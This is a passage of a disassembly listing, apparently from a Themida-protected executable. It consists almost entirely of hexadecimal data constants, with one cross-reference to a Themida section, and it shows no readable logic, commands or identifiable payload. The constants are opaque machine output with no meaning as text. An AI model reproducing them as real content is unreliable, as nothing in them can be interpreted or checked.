75493256h, 0BABCDB56h, 2B373256h dd 0BC01DE25h, 1BBA0C9Dh, 0AB5DCA9Ch, 0D5A2DB56h, 6AB33256h dd 0AB3C591h, 71BD0193h, 0BB7B8836h, 26F7496Dh, 0AEB132BAh dd 0CDD13256h, 30C3E1D7h, 0EAD0CADDh, 75B8DB56h, 11353256h dd 0A3CC869Ah, 0AE9218A5h, 57B1CB56h, 0ABBBB259h, 61D13256h dd 0EA3C3DFBh, 14B13256h, 0BA493256h, 5C313D56h, 5BB13256h dd 5E583256h, 49B13256h, 0D8695421h, 9327D919h, 8DD13256h dd 0BAD0AEE7h, 5DA3DB56h, 63013256h, 0FD963DD7h, 0BF04DC8h dd 6732A0EDh, 3D670BF8h, 0FFBE3256h, 0BAB1325Ah, 5DB7B559h dd 2DBE3256h, 57B13256h, 0AB483256h, 0DE585256h, 0B5B13256h dd 0AD60BD92h, 9F0729D8h, 5DD06220h, 0AEBBDB56h, 41093256h dd 0BF32EE1Ch, 557339D2h, 0EA4D3256h, 75BEDB56h, 6FE43256h dd 1C40F861h, 31993E74h, 0EAD20D49h, 42B1326Ah, 0D5B1325Ah dd 0C6592BC1h, 491C334Bh, 0F0E45358h, 5D4D3256h, 25D75256h dd 5258529Dh, 0E1B13256h, 0FB799560h, 8B6B8559h, 9CB13237h dd 0BAB13251h, 479A020Bh, 0AE347277h, 0D1C756h, 0CAEB6B04h dd 0B3D13256h, 0A5D5C3D7h, 4343B330h, 0BAB15307h, 5DB120BFh dd 0A602F956h, 0D909BFD6h, 8814B16Dh, 0CFDD951Ch, 0EA957F6Ah dd 6F323D56h, 0B5B13256h, 5DB126D7h, 0AEBEDB56h, 59303256h dd 81DABB9Ah, 711E6F3Dh, 8B6CC01Eh, 15B1325Ch, 2872B330h dd 5894897Dh, 0A1D011D3h, 57B124DDh, 0ABA0DB56h, 0F5703256h dd 0A7ABEBFh, 40B8321Bh, 0CFFF31A3h, 5D6635ABh, 0AEB1CB56h dd 57B0B159h, 53493256h, 0D54D3256h, 0EABDDB56h, 6B793256h dd 0E6C0F329h, 759A3CF0h, 0AE44DBE2h, 57BCDB56h, 0C9A43256h dd 690DA8E9h, 9BC00EA8h, 75EE0E3Ah, 0B0303D56h, 0B4B13256h dd 0AEB13253h, 1D6CD7D3h, 2FBE5207h, 0D5B13242h, 0EAB13DBFh dd 318B4A56h, 0F73EC218h, 0CE772513h, 1168A97Fh, 57B126BFh dd 0C5F56856h, 0CB5E1A2Ah, 0AE589A02h, 8A5D42E1h, 55E4460Ah dd 5DB15313h, 0AEBDB659h, 0D4BE3256h, 0ABB13250h, 0D5B1B859h dd 0EAB13256h, 75B126BFh, 19A32A56h, 730BCE29h, 26BF3794h dd 6A9E31F2h, 0F61DB588h, 0DAB1322Ch, 0EAB126D6h, 75BEDB56h dd 253B3256h, 1286F217h, 0D4E202C3h, 0AAA62032h, 42B13237h dd 0D5B13258h, 2652645h, 10954917h, 541ACC3h, 5DB1404Eh dd 0AEB0B859h, 57443256h, 0BF585256h, 0A7B13256h, 40DD256Dh dd 639B6E43h, 0BE0A0082h, 0EC4D3EC0h, 0C8C3CCCCh, 57D0E1DDh dd 0ABB1CE56h, 0B362B836h dd 8C36F2D7h, 9CB13237h, 0BAB1325Ah, 9A780AC6h, 0F86862A0h dd 90D15CB6h, 0CDD13256h, 5B24C5D7h, 0EAB13ABFh, 668F9156h dd 0DE8A1BA5h, 5DB153EBh, 0CF44CA36h, 0D5BE3256h, 0ABB1325Ah dd 0D5B7B559h, 6DBE3256h, 75B13256h, 0BA4D3256h, 5DB6DB56h dd 0F7EB3256h, 0EC90D38h, 0ABB4DBAAh, 79073256h, 0EA4E2AF4h dd 9CD15256h, 0BAB1325Ch, 9DAFF121h, 47C4607Ch, 8A06F799h dd 9E0B5437h, 0D5B153B1h, 0A90E5436h, 0B41B20Fh, 53B13237h dd 5DB13242h, 0E04F0C22h, 0A3B0009Ch, 0BC7791DDh, 795E3407h dd 9C2DFA53h, 7F583256h, 23B13256h, 235E3A6Eh, 0F0C34E9h dd 843B5285h, 0ABB13ABEh, 9538C156h, 0D40E140Bh, 0A43A54C1h dd 0BAB1530Eh, 5DB13CBFh, 39FF4756h, 99A19400h, 0F8B3F16Dh dd 0D5AFA01Ah, 0EAB1C756h, 0B270B336h, 0DCC0C364h, 3C8CAEE8h dd 0A3583256h, 84B13256h, 5D6EE895h, 6E7380Eh, 0D1E83347h dd 75B139BFh, 88D31456h, 0FAF0AE3Fh, 0A33F60FBh, 37D13256h dd 998A30h, 0D5B1BE59h, 2D03256h, 75B13259h, 85A218D5h dd 9154D8A1h, 0EBEACE78h, 0AF6ACCC3h, 0ABB1530Fh, 0DAB132AFh dd 0EAB137DAh, 2EE35256h, 0BAB153AEh, 3DB132AFh, 4531C3DCh dd 57B153F0h, 0ABB0B059h, 3C493256h, 0EAB1325Eh, 3955C83Ch dd 5B55579Bh, 52D13256h, 0AEB131D8h, 0B474B256h, 437BB936h dd 0D5B13247h, 562706B6h, 0E8D6FB4Eh, 4EFCBEBDh, 0CC00E781h dd 0CFD06D37h, 43583256h, 0BAB13256h, 0D0CFA793h, 24776AA4h dd 6417BB87h, 0A93CF08h, 5D55F39Eh, 0AEB4DB56h, 0F3653256h dd 0AB0AE289h, 0D54DCB56h, 0EB3E3D56h, 8CB13256h, 0AE583256h dd 0D1B13256h, 0AD4D04C7h, 0F3D4BF51h, 0D7C70B58h, 9FDD85C6h dd 0EA9F6A1Ch, 743A3D56h, 4FB13256h, 5D493256h, 0AEA2DB56h dd 0BBB3256h, 73B354C7h, 59D781FFh, 2C268C28h, 72742945h dd 0B5B132F9h, 5DB13ADCh, 0AC3E3D56h, 37B13256h, 42B13237h dd 0D5B1325Dh, 2FDCC9A4h, 0A147816Fh, 4F05FD04h, 0DBBE3256h dd 0AEB13240h, 9E063D36h, 0ABB139BEh, 0F1339E56h, 0D54EB714h dd 4831EA55h, 0BAB1530Fh, 0A1B132AFh, 0AE483256h, 57B7DB56h dd 0B6553256h, 0F5B73A5Fh, 0EA4D3256h, 0C5D1C756h, 0BC3B3D4Fh dd 52B13256h, 0AEB132D0h, 57B15356h, 0ABB6B359h, 52BE3256h dd 0EAB13257h, 7AB132AAh, 0BAB120DCh, 5DBCDB56h, 6FE73256h dd 5F473DBCh, 7067A7BBh, 0D5CBE822h, 0EAA5DB56h, 82203256h dd 0F155A5CAh, 8E6F039Dh, 0ED77F58Fh, 0CE9BB338h, 0A158F521h dd 0A7B13256h, 0C35C66AFh, 0D0C9093Bh, 53B1321Ch, 5DB13250h dd 0EFBB47CBh, 0DBBE3953h, 0ABB13257h, 0B5B132A3h, 0EAB4B959h dd 0BF083256h, 0DCF846E1h, 3CE12DEEh, 0AE493256h, 57B1C756h dd 0ABB120BFh, 0B07D9856h, 2178D69Bh, 0E550F359h, 65077774h dd 5D9140E4h, 29BE5256h, 57B13254h, 14BE5336h, 0D5B15394h dd 0EAB0B559h, 754D3256h, 0AB3C3D56h, 0B4B13256h, 0AEB1325Ah dd 0F783F17Dh, 0C4651B14h, 0F2E36E8Bh, 0EAB4DB36h, 0BF483256h dd 0DD12C35h, 5DB15366h, 47B132AEh, 57B13245h, 0ADD98ED0h dd 0BE0129D6h, 42CA27D5h, 666CB6E0h, 4F56AACEh, 58583256h dd 87B13256h, 0DE9113ACh, 0AB483256h, 0D5B1CE56h, 0E8393D36h dd 15B13256h, 0BAA3DA37h, 2A9E3256h, 2787965Bh, 5B9546FBh dd 19296F3Ch, 9F3936B3h, 0EAD06AAFh, 74323D56h db 56h, 32h, 0B1h byte_5B52CF db 42h ; DATA XREF: Themida_:0054D610o dd 0DDD13256h, 2FD77483h, 3681B08Ch, 0A6583256h, 40B13256h dd 0B54D20E5h, 0EF5C657Ch, 0B2C45914h, 0D4BE3256h, 0AEB13257h dd 58B132AAh, 0ABB13AD2h, 0D7313D56h, 8AB13256h, 15B13237h dd 0BAB122BEh, 0A19E8E56h, 1675C81Ch, 8F4EBAA9h, 978E202Ah dd 8E548576h, 0EAB2B959h, 0C2BE3256h, 0BAB1539Eh, 5DA1B659h dd 2BBE3256h, 57B1325Ch, 0ABB137BFh, 0D0C84656h, 0EAB1FE65h dd 99F98936h, 3BD72317h, 3C90FE84h, 2CBE3256h, 57B13257h dd 5EB132AFh, 0D5B0BD59h, 0EA4D3256h, 7D3A3D56h, 0DAB13256h dd 5DB1B059h, 0AED03256h, 57B1C756h, 527EB336h, 0B3B85706h dd 0FED7E9D7h, 7AB13237h, 0BAB13EDCh, 5DB6DB56h, 5F733256h dd 0E604C9Fh, 5EB132BDh, 3CD13256h, 0EAB13245h, 0C7D6CA8h dd 157F0EBBh, 0C7EA1999h, 843330B6h, 37716ACAh, 0CA46B930h dd 3CB13237h, 0EAB13258h, 984EF170h, 9F5FF324h, 0D1792728h dd 0AEB18B4Eh, 37B132AFh, 0A24D8B36h, 0B4D0362Fh, 8CD13256h dd 148DF1EFh, 0DAD13256h, 5DB13EBFh, 6BFC3D56h, 62CD038Fh dd 0D22D335Ch, 3CD0CECBh, 0EAB13259h, 1F391616h, 16C28497h dd 1AD6519Fh, 0CFB989D0h, 57493256h, 0BE3B3D56h, 3CB13256h dd 0EAB13246h, 885EAF15h, 2E23609Fh, 28FBAB71h, 1A2CB487h dd 47583256h, 0D5B13256h, 0D9530145h, 776C443Eh, 0BA395D0Fh dd 0BA0EAC3Ch, 0DDBE5256h, 0AEB13250h, 57B1BA59h, 11D73256h dd 0D5D0291Dh, 0EAB1CA56h, 75B9BA59h, 30BE3256h, 5DB13254h dd 15D15336h, 21091C4Eh, 0ABB1BE59h, 0D5D03256h, 0E558CE56h dd 6AB13256h, 28A863B6h, 84BFB67Fh, 0F834F1A2h, 57B12692h dd 5C305436h, 0B5D0E604h, 0EA393D36h, 13B13256h, 0A364D1D7h dd 3CDB8437h, 21BE3256h, 57B1325Ah, 0ABB7B259h, 51BE3256h dd 0EAB13256h, 0FABE3256h, 0BAB1324Dh, 1D57B236h, 0AEB122BEh dd 8E8CD256h, 0C297AD6Fh, 0B0CDB31Eh, 42D9ACEBh, 75D06DEBh dd 0B3313D56h, 3DB13256h, 7F548930h, 36BBFBD6h, 28BE3256h dd 0D5B13257h, 0EAA1DBAEh, 0CE143256h, 9E2A577h, 0EFB0FA26h dd 0A74F6122h, 57B1E1FDh, 0ABB0BF59h, 0D5443256h, 61D1C756h dd 773F3DA7h, 0DAB13256h, 5DB15337h, 1E77B936h, 57B15388h dd 0ABB120BFh, 8151CE56h, 0D580688Ch, 0BEB43313h, 0C7DC71CDh dd 5D5F266Bh, 0AEB1CE56h, 57B137BFh, 0B1C7DD56h, 0D5B177D8h dd 0EAB123BFh, 7DAE2056h, 949D719Ah, 110CECAh, 94564B20h dd 57B18E7Fh, 0ABB9B959h, 57BE3256h, 0EAB13254h, 75B15336h dd 42B132AEh, 4C583256h, 0F7B13256h, 0D717B48Eh, 0E40AE9ADh dd 0DACD911Fh, 6F2480BEh, 75483256h, 34BE5256h, 5DB13256h dd 0CF8DF1D6h, 45583256h, 0FBB13256h, 23908A50h, 4762E06Ch dd 0A447E430h, 9FF419D7h, 0B4B13215h, 0AEB1325Ah, 8E70A5B9h dd 0F436A5E3h, 8EAEE999h, 440B336h, 0FE8B7C48h, 0BAB153AFh dd 0A8B132AEh, 24D13256h, 51363DB7h, 0A4B13256h, 0D5B132DDh dd 0EAB15356h, 75A2DA36h, 3AD83256h, 0F3759232h, 76D8A44Dh dd 31471760h, 440413FFh, 8DD05273h, 0E8348B36h, 14D07C54h dd 0B5583256h, 6FB13256h, 0DBA4AF17h, 0D6E6AC44h, 922F2E27h dd 0D5485AB0h, 0E5D1CE56h, 75B124D2h, 0BAA1DA56h, 0FA163256h dd 0C5737E75h, 2DF0EBA3h, 8502630Ch, 0B3EFE68Fh, 0EAD0ECDDh dd 623C3D56h, 53B13256h, 5DB13244h, 0A0D7E7ECh, 0B1FDD5BDh dd 0E0C59853h, 0C690EDEDh, 0EAB17CAAh, 75B135BFh, 0D12CD556h dd 6D383128h, 0CEB132AFh, 0BF62B930h, 0ABB13245h, 1BA49E09h dd 2FCEAF0h, 93BE6856h, 64AE0A40h, 55F3FA7h, 0A1B13237h dd 57B13AD1h, 0A9333D56h, 0B5B13256h, 3B13237h, 75B1325Ah dd 8EFBE10h, 20F54D2Dh, 1A394C98h, 0DDBE3256h, 0ABB13257h dd 29B132AFh, 6BD13256h, 0F5AAB18Ch, 6B3A5462h, 3DB13237h dd 2E00E9D6h, 57D0AFB8h, 6C305256h, 0D19878B7h, 8AB13237h dd 0F5D1C8DDh, 5BEBB8Dh, 5DD05394h, 0AEB1CB56h, 57B13EBFh dd 429B4356h, 810D40A0h, 0BF7B090h, 15B132B9h, 0C57B330h dd 505864C4h, 5B13256h, 0ED3D50A6h, 0FE806208h, 0A33B994Ch dd 0EAB15308h, 75A7BC59h, 0AB583256h, 0C9B13256h, 0E7201BCFh dd 0D926845Bh, 3C38C2AEh, 0AB324CBDh, 0EAB138BFh, 461E5056h dd 0B1C60F88h, 5D4BAB21h, 0AEB1CE56h, 57A2DB36h, 0FE733256h dd 0B612E47Bh, 0DBE5DF97h, 6DD70547h, 7719AA15h, 3C7BB9BFh dd 0A9583256h, 0A6B13256h, 84B5C04Fh, 0D5B18C22h, 0EAB0B659h dd 9C443256h, 0BAB1325Bh, 4F815CE6h, 10C4DB1Dh, 3389370Ah dd 0CBB1328Eh, 0D5B13EBEh, 830EB556h, 0D6A037F1h, 716E312h dd 5DB8DB8Eh, 9AC93256h, 0FDF210B8h, 0F4459574h, 0F573B205h dd 0EAB1530Dh, 7AEE6436h, 0BAB134D7h, 5D3A3D56h, 0CFB13256h dd 0CE52B336h, 0CD987D9Fh, 0B442D7EDh, 0E5443256h, 75B133D9h dd 0BAB1C756h, 953A5436h, 0EFC8B30h, 58B13237h, 0ABB133DBh dd 0D5B1CB56h, 0E5B132AFh, 75B122D5h, 0B03E3D56h, 0B4B13256h dd 0AEB13253h, 0A39F26ABh, 42B132A8h, 0D5B1325Ah, 0B32948D9h dd 8968A8Ah, 288AFDE9h, 0EBD13256h, 7F30546Bh, 57D08798h dd 0ABBCDB56h, 0E3913256h, 82B64A2Bh, 57A7B2FDh, 0BAC86ACDh dd 5DB1CB56h, 16D752A3h, 0DCD7F34Eh, 0ABB153A6h, 0DAB132AEh dd 0EAB124D8h, 7C595256h, 5DB13256h, 60762439h, 0E40166B0h dd 9630540Dh, 0ABD00AFCh, 0D5B1CB56h, 0EB313D36h, 89B13256h dd 0DB4AB930h, 5DA6B959h, 0BC583256h, 90B13256h, 0F6A7374Ch dd 465EA1FAh, 725C2FF6h, 98BD4F74h, 42B132E7h, 0DEBE3256h dd 0AEB13257h, 57B1CEAEh, 7C315236h, 0B4EB6203h, 0EAB135BFh dd 82F35C56h, 42B6BA41h, 52B13237h, 0AEB133DFh, 57B1CE56h dd 0CBB132AFh, 0B448FADDh, 0E5D13256h, 75B12BDDh, 0BAA2DA56h dd 84473256h, 362C709Ah, 0F793BFA4h, 422DA384h, 0CBECDA36h dd 55BE69ACh, 75B153A0h, 0BAB0B859h, 5D443256h, 0AEB1CB56h dd 58B132A3h, 0ABB122DEh, 0DF393D56h, 3B13256h, 75B13253h dd 98DC7490h, 3DB13216h, 0DE85D9D7h, 0DEBE353Bh, 0ABB13254h dd 3CD06D06h, 0EAB1325Fh, 5261A90Ch, 0D7E54B13h, 52B1322Eh dd 0AEB124DAh, 57A0DB56h, 0BEFD3256h, 44883138h, 0AD7362EFh dd 6D0492ADh, 0BA8A603Eh, 0DCD75256h, 2FFB7AB7h, 79988D80h dd 0ABB1534Dh, 2B3A5436h, 0E5B13237h, 75B133DCh, 0BAB1CA56h dd 5DA7BB59h, 0BF583256h, 7FB13256h, 0BD8BC069h, 51AEAB2h dd 0ED02CAC1h, 92C2ED2Bh, 0B5D13256h, 5DB131DCh, 5D3A5456h dd 4E6FB330h, 21BE5340h, 0D5B13253h, 3D0E3D36h, 15B13237h dd 0DBE6A06h, 5DB15394h, 0CEB132AAh, 57B123BFh, 7F6FCA56h dd 6562A6Ch, 0E61E4746h, 0C47808D1h, 2D7C0EBh, 5DD0AD6Ah dd 0AEBDDB56h, 37603256h, 51D59056h, 0BD672208h, 0EAB191C6h dd 0CC1A8836h, 0D6044D1Fh, 0A4B13237h, 2FD13256h, 0ADB99C98h dd 0CA11863Dh, 6CD13256h, 0F8FAF17Ah, 7AB13237h, 0BAB122DDh dd 57363D56h, 47B13256h, 57B13253h, 0B67C269Ch, 29B132EEh dd 8CD13256h, 0DF95FBD7h, 0DB7BB930h, 5DA4BA59h, 0BE583256h dd 7FB13256h, 0B759DBE2h, 0F8388431h, 2203BF54h, 75037EA5h dd 0BF353D56h, 3DB13256h, 0CF79B930h, 45583256h, 8B13256h dd 0D6E987B6h, 0C6CFB895h, 4FB6E88Dh, 546AD21Fh, 3DB13289h dd 543A52AAh, 0DF6EB330h, 0ABD05341h, 0D5BCDB56h, 5B893256h dd 73BEDA8h, 28030DBEh dd 5DD96A62h, 0B6353D56h, 37B13256h, 0ABB123BFh, 31D4FF56h dd 2C152FB7h, 0A87A7584h, 7B484B56h, 5DD0377Dh, 0AE49C756h dd 57B1CA56h, 0ABBBB959h, 5FD13256h, 0EA353D9Eh, 14B13256h dd 0BD583256h, 96B13256h, 65443F18h, 57B177FDh, 0ABB0BC59h dd 0D5493256h, 0EAB1CB56h, 75BCB859h, 0B2583256h, 42B13256h dd 6B3ECA55h, 0BE312C55h, 0ABB13247h, 0E79B12FAh, 0D1208F7h dd 73636D62h, 59B20A7Ch, 3DB132C1h, 104E8D59h, 4856DD14h dd 5EB13237h, 2D483256h, 0E5D13256h, 75B130D2h, 31EE6556h dd 0DDD15391h, 0AED010BFh, 563D3D56h, 5EB13256h, 0B5B132AFh dd 0EAB7B759h, 96303256h, 0A08984F7h, 3DB13237h, 473194E4h dd 57B1534Bh, 0ABB139BFh, 0A2856D56h, 0AFAAA1AEh, 87656403h dd 0B1583256h, 0BDB13256h, 54DDB548h, 3EAFD8C0h, 0ABB148C6h dd 0B5B132A3h, 0EAD090E4h, 75B8DB56h, 0FBC73256h, 9198BAFh dd 0AE1C6714h, 57BDDB56h, 3F693256h, 0CC8DD443h, 5CFFE001h dd 75B1E584h, 0BAA3B959h, 0B4D13256h, 0AEB1325Fh, 68991E73h dd 4FA708A4h, 0B4D0528Eh, 0E5D13256h, 75B124DDh, 0BAA0DB56h dd 45063256h, 0B84298ACh, 0DEAFB835h, 6FDBEF93h, 54C3557Eh dd 5D40CABEh, 75B15372h, 0B5B132AEh, 5DB136D3h, 0F4005256h dd 0AEB13237h, 23BE3256h, 0D5B1325Ah, 0EAB7BA59h, 0FABE3256h dd 0BAB13256h, 5B583256h, 88B13256h, 9E3C712Dh, 0CBB13294h dd 2F3A5436h, 0EAB1B859h, 9CD03256h, 0BAB13246h, 5D2BC9C7h dd 51232D4Ah, 4B8BD2B4h, 0BDF6454Fh, 0B5B13237h, 86D8830h dd 15B13237h, 0BAB153A3h, 5DB121BFh, 53BF9256h, 0C79A6444h dd 0E361845Ah, 5D9F9278h, 1ED1612h, 754D3256h, 0A3373D56h dd 0B4B13256h, 0AEB13242h, 9E0DAFA8h, 8F824F05h, 0C6CC418Bh dd 0BCDCC06Eh, 76FEA74Ah, 3CBE3256h, 5DB1325Ah, 0AEB7B559h dd 0D3BE3256h, 0ABB13256h, 59BE3256h, 0EAB1325Eh, 0AC305436h dd 0DB482EAFh, 5A583256h, 0E9B13256h, 4F0492ADh, 0BB58603Eh dd 4CB13256h, 1455AE20h, 0AB2891C2h, 0D8909E5Dh, 5D189E05h dd 0AEBBDB56h, 79993256h, 46992896h, 0B2D671E3h, 0EAB123BFh dd 10BB8356h, 0F4686A2Dh, 94AC1625h, 0B5BCFEE4h, 57B1A359h dd 0ABB137BFh, 0F81D8556h, 0EA493551h, 723C3D56h, 0DAB13256h dd 3D76B930h, 0AEB15337h, 57B9B159h, 2ABE3256h, 0D5B13254h dd 0EAB15336h, 653E3D36h, 52B13256h, 5DB1325Ch, 46E18D2Eh dd 7A26997Bh, 0CDEB0CC6h, 0D5D0F8DDh, 0EB3C3D56h, 89B13256h dd 464D3256h, 5DA1DB36h, 30803256h, 0C98E9662h, 9D2AC2ACh dd 0CA82ACC0h, 0EA59EF35h, 2FB13256h, 13F1D8D7h, 4D583440h dd 0A3B13256h, 0D5CEFB56h, 18F80DD3h, 6F1CADD0h, 8A644FC3h dd 75B137BEh, 0F5B09D56h, 0E3D76169h, 15EA8ED3h, 6170AB75h dd 9A34BF37h, 2DB727CCh, 0EAA1BB59h, 7E583256h, 10B13256h dd 0BEDD2C21h, 66A92718h, 0D538EA6Fh, 0ADA7A0BFh, 32305436h dd 68BEC166h, 75B13254h, 37D05336h, 4AC91DD4h, 2C38C750h dd 51A7A15Ch, 9C5ADAAAh, 0DAD13256h, 0EAB136DAh, 4A0E5456h dd 0BB3A3D1Bh, 0A4B13256h, 0AC62DA37h, 5E583256h, 13B13256h dd 68C5B689h, 0E3D76401h, 75ADBB59h, 4D13256h, 5EC58EF9h dd 0AEB13DBEh, 0E28F5F56h, 87264600h, 0C6420F14h, 77991800h dd 0F776530Eh, 0BCA7A3A8h, 5DB13256h, 0AEB0B659h, 5493256h dd 4E34F4A3h, 83B72275h, 0E30F5436h, 5159B22Ah, 2E35A37h dd 0A24DAEFEh, 0BEAC77E3h, 5D363D50h, 0CBB13256h, 6E99F5D6h dd 0DAE9B05Ah, 0FF34BF37h, 4FB721D3h, 5261CDAAh, 0AEB13ED8h dd 513F3D56h, 0A4B13256h, 0D5B132D3h, 0EB34BB56h, 15B72249h dd 53AADAD6h, 5DB1325Bh, 0A26F92A8h, 2AEFA352h, 1B21CD46h dd 0D1DB5360h, 0EAB120BFh, 739E1456h, 0D647C9FBh, 2F09532Dh dd 2B7CDE68h, 3FBCB826h, 0ABB12256h, 5ED76136h, 5EE06AA4h dd 1DD06A9Eh, 0BAB23F16h, 6D47B336h, 0C8C7C069h, 36BB2FE8h dd 0CBD1323Ch, 0D5B122BFh, 0C9A97456h, 0AD21319h, 0CEA6E1EAh dd 0DDD664F0h, 0CFB782A4h, 57B139BFh, 0D7B18856h, 0D33334ACh dd 0EB2CA70Ch, 1561CD37h, 0BAB13DBFh, 0AECCA156h, 4BD12E85h dd 8B29B59Ch, 0D91A501Fh, 1E0E3D01h, 0E5EB530Ch, 75B135DFh dd 0BB3B3D56h, 0A4B13256h, 2ABEF25Dh, 57B13325h, 7D305436h dd 5CD0D114h, 0FC20CCD4h, 0F738CE50h, 0BCA7A072h, 5DB126BFh dd 0F2B456h, 94C2C94Eh, 0BB3E2F6Ch, 249ACF27h, 11E63AA6h dd 72585246h, 0F2B13256h, 7830F1C6h, 25D77D51h, 170853AFh dd 0A4B1315Bh, 0D5B133D9h, 123ACA56h, 0FD5BB336h, 5385F4E5h dd 5DB1325Ah, 2765F163h, 2AA4E7B5h, 0A7744C03h, 0D5A5DB37h dd 32473256h, 94AEB36Bh, 247CD50h, 5F1F3F67h, 0CB5E4706h dd 9782C498h, 0ABBBB359h, 5FD13256h, 0EA343DAFh, 14B13256h dd 3ABE98A5h, 5DB13257h, 0A20052AFh, 0D9BE6037h, 0ABB1324Bh dd 0D5A6B359h, 0F8583256h, 91B13256h, 0CE75047Fh, 47F40C2Bh dd 0E158C7ADh, 0B582241h, 57B558E8h, 0D5A1323Eh, 0FF3B3D56h dd 15B13256h, 0BAB13EBFh, 376D1156h, 2729B8DBh, 0C7E9FED9h dd 0CAD052A5h, 0D5B5323Eh, 0ED323D56h, 15B13256h, 0DBE6B06h dd 4D5853A6h, 9AB13256h, 79A97975h, 8EA09DA6h, 8AF69441h dd 803F70D9h, 893B5256h, 0BAB7B359h, 0D6BE3256h, 0AEB13256h dd 5623CD37h, 57B72249h, 0D5B0B559h, 0B0493256h, 75BDB859h dd 31BE3256h, 5DB13250h, 0AEB1B959h, 0DE483256h, 0BD246AD4h dd 0C03D3D50h, 0E5B13256h, 75B13DD4h, 0BABBDB56h, 700B3256h dd 5FFA2823h, 0FD6D5146h, 0ABB13CBFh, 0EE81FF56h, 0BCEC828Bh dd 0BB4EFCDAh, 0DB928A3Eh, 5DB134BFh, 737BC956h, 0DC0628DFh dd 0BD20CCD3h, 62BE5250h, 0D54A8889h, 0B6D0253Eh, 7D4452AEh dd 4DBAA7D4h, 0EEB13250h, 503B3D56h, 0A4B13256h, 0D5B133DAh dd 6876CA56h, 73A11BA7h, 0BAB12256h, 5DB13EBFh, 25609256h dd 0CEDA4458h, 6D779200h, 5EBE534Ah, 0EAB1325Eh, 75B3B759h dd 0DBD13256h, 45383D95h, 0A1B13256h, 57B120D5h, 0ABBCDB56h dd 47233256h, 3D50AC82h, 9642AEEh, 0DA7B8F2Fh, 5DBEB459h dd 0A4583256h, 6DB13256h, 2F6AF459h, 8BDA8F36h, 140BB901h dd 8CB724C7h, 0B5B10DD5h, 5DB197D2h, 0AEBBDB56h, 2AEE3256h dd 6FC06BF1h, 0E05BD5FFh, 0E8A14DD5h, 758AB659h, 32BE3256h dd 5DB13257h, 0BECEB1A3h, 5353D52h, 0A4B13256h, 0D5B133DFh dd 2D32CA56h, 75B8DB42h, 7A063256h, 19064ADBh, 47CE9923h dd 0A84ECDE6h, 0ABB6BD59h, 50BE3256h, 0EAB13257h, 65F6F5AFh dd 0BAB13257h, 520B5436h, 0AD313D77h, 31B13256h, 42D0F9DDh dd 2A4ECD94h, 0EAB13ABFh, 16565A56h, 1975F1F3h, 4DF6F55Fh dd 0AEB13255h, 8E063D36h, 2E43B330h, 4A585350h, 8A4ECDA9h dd 0CB13DEEh, 0BAB6DB1Fh, 0D9983256h, 6D45EB58h, 37D053D3h dd 0CA4DC3DDh, 6ED75295h, 55BE4B1Dh, 655853AFh, 0D1B13256h dd 0ECEAAA4Ah, 0B3D321E9h, 29AF8BF1h, 0FEFB300Eh, 0D5B13ABFh dd 0A4B34656h, 613A15B0h, 425DB9FAh, 4B353D36h, 0A1B13256h dd 57B122DCh, 0ABBADB56h, 94473256h, 5898BA2Fh, 57A673BAh dd 0BAB1DAC4h, 0DCEB3256h, 0B81F15BCh, 57BFDB50h, 0BD733256h dd 0F761022Ah, 0F87B9C53h, 45BD981Bh, 0BAA5DB36h, 0FFA93256h dd 7F7648DAh, 0AF539596h, 2892DE82h, 1DDBBBDBh, 61D09CCDh dd 632456E4h, 0B6303D50h dd 52B13256h, 0AEB134DAh, 57303D56h, 20B13256h, 5EBE3A13h dd 0EAB13257h, 89B7BBAEh, 38325336h, 5BA7A732h, 0CED0CE52h dd 57B138BFh, 213F2B56h, 6442A90Dh, 0E5026FF1h, 75B131D5h dd 8877B256h, 0D6BEFB37h, 0AEB13257h, 57B5F0A3h, 0ABA5DB36h dd 0EF313256h, 910DF6Ah, 8673B67Bh, 0FA965718h, 0CCDD269Dh dd 0CF443340h, 5759CB36h, 0F1B13256h, 7B65D8D7h, 2D13440h dd 75B1325Bh, 7441B564h, 64A23E8Dh, 9031F1D7h, 0A8063D04h dd 75063D09h, 0B3D1CB37h, 5FD9D5D7h, 75B4BF59h, 7C093256h dd 3C89C82Dh, 3BE980DDh, 0DCBE3440h, 0ABB1325Eh, 0D5393D36h dd 8BB13256h, 0E0D5806Dh, 3EBE3440h, 5DB13057h, 0AEB13FBFh dd 5E95C56h, 0D5ED9B1Dh, 4E0BC158h, 2D1F226h, 75B13244h dd 0A9D14891h, 0C971DA5Bh, 9B47200Bh, 8F647E1Ah, 16018B84h dd 0B462B909h, 61440CDDh, 0C3BECA89h, 0ED13319h, 3C46B94Dh dd 0AFF6C4AAh, 13343DD6h, 52B13256h, 0D5B0BE59h, 0E9493256h dd 75B9DB8Fh, 24313256h, 0ACE1ACA3h, 0E45893B9h, 0BEB13256h dd 0ABB13242h, 0D02A0759h, 0F001369Bh, 96D1D82Eh, 60847F4h dd 0DE8CA093h, 0AEB138BFh, 0A2267156h, 3FFA7D3Bh, 0FEBB5FE8h dd 0F03C3D8Fh, 7AB13256h, 0BAB126D0h, 5DBEDB56h, 0C1463256h dd 0DB2F0B70h, 0A2E66440h, 3334A1F4h, 0E5D171BAh, 75B131DFh dd 633A5456h, 5DB126BFh, 24489256h, 0B71F891Ah, 0AE874A80h dd 18AF142Ch, 0F4032159h, 0F8BE5377h, 0BAB13249h, 5DA8BC59h dd 0BA583256h, 23B13256h, 13702678h, 701AD904h, 0F40B7E0Dh dd 247B25EFh, 0F9EEE295h, 0DCEA6536h, 126999Fh, 0D23A530Eh dd 0ADA11FB3h, 0D5B138BFh, 0D91FFE56h, 0EC005F79h, 31F844BAh dd 4D996FDBh, 68315250h, 0E8BE6124h, 90D06880h, 0AE333D8Eh dd 0E5B13256h, 75B125DFh, 0B0595256h, 6FB13256h, 1AA62114h dd 895F4A88h, 2AD76DA4h, 0B444159Eh, 6DBEEB6Dh, 75B13200h dd 0BA333D36h, 0A5B13256h, 0AA77B137h, 5840B836h, 0ABB134D2h dd 0B751B356h, 8BDB9C19h, 8A4F49BFh, 3BD752A9h, 0E28AF784h dd 0A95A3074h, 0D6075237h, 0ABB138BEh, 0B5237456h, 6985C9ADh dd 9C0D92BAh, 0BAB13246h, 0F4A35C74h, 566BF003h, 57CE654Ah dd 1AB4351Dh, 1A8A530Fh, 0EAFAB659h, 61583256h, 0EB13256h dd 7B994FB0h, 0D412AD8Ah, 69D62602h, 482A19D9h, 5C6A4039h dd 0FA996FEBh, 75B9DB50h, 0B5BB3256h, 47599540h, 5758B616h dd 0BE4ECDABh, 0ABB13242h, 188AF2C3h, 359C263Ch, 300E61B5h dd 91BB65D7h, 0E84F5502h, 0AB5853AFh, 